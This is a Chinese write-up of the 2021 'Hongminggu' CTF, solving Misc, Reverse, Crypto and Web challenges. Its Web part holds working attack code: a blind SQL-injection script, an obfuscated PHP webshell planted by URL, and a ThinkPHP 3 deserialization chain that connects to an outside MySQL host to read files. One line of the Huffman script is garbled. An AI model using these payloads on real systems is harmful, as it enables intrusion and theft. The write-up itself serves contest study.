2021 “红明谷”杯数据安全大赛writeup
Misc
签到
安全知识问答
歪比歪比
流量包追踪TCP流
发现是哈夫曼树
# -*- coding: utf-8 -*-
# python3
# 统计字符出现频率,生成映射表
def count_freq(text):
chars = []
chars_freqs = []
for i in range(0, leelse:
chars.append(text[i])
char_freq = (text[i], text.count(text[i]))
chars_freqs.append(char_freq)
return chars_freqs
# 节点类
class Node:
def __init__(self, freq):
self.left = None
self.right = None
self.father = None
self.freq = freq
def isLeft(self):
return self.father.left == self
# 创建叶子节点
def createNodes(freqs):
return [Node(freq) for freq in freqs]
# 创建Huffman树
def createHuffmanTree(nodes):
queue = nodes[:]
while len(queue) > 1:
queue.sort(key=lambda item: item.freq)
node_left = queue.pop(0)
node_right = queue.pop(0)
node_father = Node(node_left.freq + node_right.freq)
node_father.left = node_left
node_father.right = node_right
node_left.father = node_father
node_right.father = node_father
queue.append(node_father)
queue[0].father = None
return queue[0]
# Huffman编码
def huffmanEncoding(nodes, root):
codes = [''] * len(nodes)
for i in range(len(nodes)):
node_tmp = nodes[i]
while node_tmp != root:
if node_tmp.isLeft():
codes[i] = '0' + codes[i]
else:
codes[i] = '1' + codes[i]
node_tmp = node_tmp.father
return codes
# 编码整个字符串
def encodeStr(text, chars_freqs, codes):
huffmanStr = ''
for char in text:
i = 0
for item in chars_freqs:
if char == item[0]:
huffmanStr += codes[i]
i += 1
return huffmanStr
# 解码整个字符串
def decodeStr(huffmanStr, chars_freqs, codes):
orignStr = ''
while huffmanStr != '':
i = 0
for item in codes:
if item in huffmanStr:
if huffmanStr.index(item) == 0:
orignStr += chars_freqs[i][0]
huffmanStr = huffmanStr[len(item):]
i += 1
return orignStr
if __name__ == '__main__':
trash_array = {
'j': 29,
'z': 31,
'7': 25,
'e': 31,
'l': 23,
'6': 37,
'4': 32,
'p': 38,
'h': 27,
'g': 26,
'x': 28,
'i': 25,
'u': 27,
'n': 25,
'8': 36,
'0': 24,
'o': 23,
'c': 28,
'y': 24,
'1': 29,
'b': 26,
'm': 27,
'2': 28,
'v': 25,
'd': 33,
'f': 28,
'9': 33,
't': 21,
'w': 22,
'a': 31,
'r': 24,
's': 16,
'k': 32,
'5': 25,
'q': 23,
'3': 32,
'{': 1,
'-': 4,
'}': 1,
}
tt = list(trash_array.items())
chars_freqs = tt
nodes = createNodes([item[1] for item in chars_freqs])
root = createHuffmanTree(nodes)
codes = huffmanEncoding(nodes, root)
huffmanStr = '011111000100001100101000111101111010101001101101111010000011001011110100001001001000110000111001000001111001110110111101100111110100000011101010000010110100100011110000000001010011010010100101110111001000110001110001001011100110001110011001101001100010101010001101111000111111111011100101110001010010111110000101101100100100100001011111010111011101011110001011101100001100101100110100101001011111100111010100011000100100001001110100101011111101111110011101011101000000100100100011111111001000101110101001001101110001011101101001001001011010000101111111001011111100110010100111111110001001100100010010010011110111110110110001101000010010110110001011010000100011010111110101110000110000010001111111110000101000100101101111000111100101101011001100010101011000110010011111001010011110100100011000101111110111011011000011011010100011011100010001010001010000000001101001010010100111111010010110110011110100101010010101001010100010101011010011110001000011000100001010111001110001100101100001010111011111111001111001011011011010101001100011001001101010111100000111111111000111100111010100111101010101111001111000010001111101111101000100111100110000100001000011001011111010101101011000111000100101000011100010010101100100100101000101011011010011100001011111101010101101101100000100110001110000100010011011011011011001110000110000110101011110101011001010000110110010110001011011101000111100011001111011110110001001101100001110101011011111010011111111111000010001110000010010111110111100101101010111100011100011010100110001011111000011111110111001101010010000111111011111110110011111100011101111101100101110001110110111100101010101100110011101100111100011110100000110101010001111101110111001011001001001000011111010100111011111001100111000000101001010001111001000110010111110000001111111110000000111111111011101111110011101001000001000000110111110100000000111101011101111011010110011110110101011110000101100011010001110001110000011101101110001000111101011001001000111001111001011010100101101010111111100111001000001110110110101011011101110000010011001101110010001110010000001110001100101100001001000100010011110101010001011011110000001101011100111010010111001101111011011111000011110001100011010100001111001000111100011001101110011010111000101010111101111111111001011001010100011011101100100001101100011101110111001100110111010000001010000010111101000000100001100110110111101001110100000010110110101110100110111000001001111000111010011100010111110101011011101001101001100001100011011001011000100100010110111100001001000101111010001011101010010110010111101010000111011110000010010110101111001011000100011111100100000010111001011101000110110111110111011100001010110010000101010100101001000101110100110010101010100111111000001001101001111010100100100111001011010011101111011000011110100001001111100011111100111101001110101101001110001000111110100111001111010111111111111101101010000001010001001001111010011001101110101110101110110000010011111011110010000010101100011011000001011000100111111111101110101100001010111111011100101110111111110011101110100100011101111011011110100101111001100011001100001001101100100110001001011111000011010000111011110011011010010101001011100100110010111101001000100111111100001011110101011000000111010100011101101011110011010100100111000111000100111111000100001001101111010011101111100010111111001100001101000100010100011001110001100100101100011101110010110100011000111001101110101010100101001110111010010011110111101000101011111101011100101101101001100011001111101111100100111101101101110111111010111010100100101110111000011100001001000011100010101110100111110011001100101111110110100111101000010001000011011110000011010110111010110001110011111110000011110010001011010010111111101010101110010000001010011111011100101000101101010101101101000101000110011101101010110001100101011101110111100000001010000011110011010011000011111110100111011100100111000001101001110111100000101010110000010000100001110111000011111110010010100111111101010110000000000111011010000101100100111001110000001011101100000110110101011001011000111001111110010101111001011011101000010001100011101110010100111000011111001110001100111110110111101010101011001000101011010001100000010001111110011001101111111010110010001111001100111110001110011100010011011100100010011011000110000100101111100111110111101010010001101010011100110001011001111000100011011110100011101011101010111111110000011110110111011110000010111100110011100011010111101111110100000010001111100101100011110001101011111101111111011111011101010001101001000111000101111110101000110011000111011111101111110100001111011110010100011101110111111010101100111000101100100010011101001011110011111001111101110001110111111011100111100010110010011011010100011100101010101010110000001010111001101111100111110010100111000010101111001110011011011111001101110011111001000000000111101011000111110001101010011011000010100100100111011111110010000000101001111111110101100001010000001110100101001111001011011001001001011100101111110'
orignStr = decodeStr(huffmanStr, chars_freqs, codes)
print('Decode result:' + orignStr)
InputMonitor
取证题
取证大师一把梭
看输入法自定义词汇
说了是六个字的解压密码,去找六个字的词
解压密码是有志者事竟成
解压flag.7z
编辑pdf,把这个图去掉就有flag了
Reverse
g0
大体逻辑通过 main_Encode 对输入进行加密,正确的话会执行自解密的一段代码,输出flag
动态调试直接找自解密代码,发现是 base58 换了字母表,在 main_main_func1 中找到密文解密得到flag
#coding=utf8
import string
import base58
from Crypto.Cipher import ARC4
STANDARD_ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
CUSTOM_ALPHABET = "12Nrst6CDquvG7BefghJKLMEFHPQZabRSTUVmyzno89ApwxWXYcdkij345"
ENCODE_TRANS = string.maketrans(STANDARD_ALPHABET,CUSTOM_ALPHABET)
DECODE_TRANS = string.maketrans(CUSTOM_ALPHABET,STANDARD_ALPHABET)
def decode(input):
return base58.b58decode(input.translate(DECODE_TRANS))
key = "2GVdudkYo2CBXoQii7gfpkjTc4gT"
flag = decode(key)
print flag
# flag{We1c0m3_CTF245}
Crypto
RSA ATTACK
import gmpy2,binascii,libnum,time
n=28592245028568852124815768977111125874262599260058745599820769758676575163359612268623240652811172009403854869932602124987089815595007954065785558682294503755479266935877152343298248656222514238984548734114192436817346633473367019138600818158715715935132231386478333980631609437639665255977026081124468935510279104246449817606049991764744352123119281766258347177186790624246492739368005511017524914036614317783472537220720739454744527197507751921840839876863945184171493740832516867733853656800209669179467244407710022070593053034488226101034106881990117738617496520445046561073310892360430531295027470929927226907793
e=3
res=0
c=15839981826831548396886036749682663273035548220969819480071392201237477433920362840542848967952612687163860026284987497137578272157113399130705412843449686711908583139117413
print time.asctime()
for i in xrange(200000000):
if gmpy2.iroot(c+n*i,3)[1]==1:
res=gmpy2.iroot(c+n*i,3)[0]
print i,res
print libnum.n2s(res)
print time.asctime()
break
'''
Fri Apr 2 20:17:15 2021
0 2511413510842166080065277487935235573010338102447558587517
flag{w0_x1hu1n_y0u_b5st}
Fri Apr 2 20:17:15 2021
'''
Web
happysql
过滤列表如下
用case
代替if
,lpad
代替substr
,/**/
代替空格,regexp
代替等号
import requests
import string
import binascii
result = ''
url = "http://eci-2zehajx15wscjh7jgx4v.cloudeci1.ichunqiu.com/login.php"
payload = 'username=admin1"/**/||case/**/when/**/(lpad(((select/**/group_concat(a.1)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/f1ag)/**/as/**/a)),{}))/**/regexp/**/{}/**/then/**/1/**/else/**/0/**/end%23&password=1'
headers = {
'Content-Type':'application/x-www-form-urlencoded'
}
for k in range(1,50):
print(k)
for i in string.printable:
if i in '*+.?|$':
continue
data = payload.format(str(k),'0x' + binascii.b2a_hex((result + i).encode()).decode())
web = requests.post(url,data,headers=headers)
#print(data)
if 'home' in web.text:
result += i
print(result)
break
write_shell
利用短标签
和或运算
绕过过滤
先获取目录
把payload写入index.php
http://eci-2ze8pd94714j0yxw427u.cloudeci1.ichunqiu.com/?action=upload&data=<?=("%00%00%08%01%02%10%00%00%02%00%00%00%00%01%00%00%00"|"%66%69%64%64%5d%60%75%74%5d%63%6f%6e%74%64%6e%74%73")("%00%02%01%00%00%00%00%00%00%08%00%00%08%00%00%01%00%00%00%00%00%00%00%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%00%00%00%00%00%00%00%00%00%00%01%01%00%00%00%01%00%00%00%10%08%10"|"%2f%74%60%72%2f%77%77%77%2f%60%74%6d%64%2f%73%60%6e%64%62%6f%78%2f%34%64%35%62%30%39%62%32%31%34%39%66%37%36%31%39%63%63%60%31%35%35%63%38%62%64%36%64%38%64%64%35%2f%72%60%79%69%2e%60%60%60","%00%00%00%01%02%01%08%00%00%02%00%00%00%00%00%01%00%00%01%00%00"|"%3c%3f%3d%64%74%60%64%28%24%5d%50%4f%53%54%5b%60%5d%29%3a%3f%3e")?>
访问http://eci-2ze8pd94714j0yxw427u.cloudeci1.ichunqiu.com/sandbox/4e5b09b2149f7619cca155c8bd6d8ee5/
添加蚁剑
easytp
http://cn-sec.com/archives/236781.html
poc
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "thinkphp3",
"hostname" => "47.101.57.72",
"hostport" => "2333",
"charset" => "utf8",
"username" => "root",
"password" => ""
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
按照文章中说的,尝试读配置文件,发现里面没有账号密码
读取/start.sh
发现flag写入了数据库
这里数据库口令为root/root
试了不行,换成123456就成了,弱口令yyds
因为不知道flag在哪个数据库,只能挨个数据库查
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "123456"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
最后查到数据库名为tp
,表名为f14g
利用子查询进行无列明查询
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "123456"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,concat(0x7e,substr((select group_concat(a.1) from (select 1 union select * from tp.f14g) as a),1,30)),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
用substr
绕过长度限制,爆出flag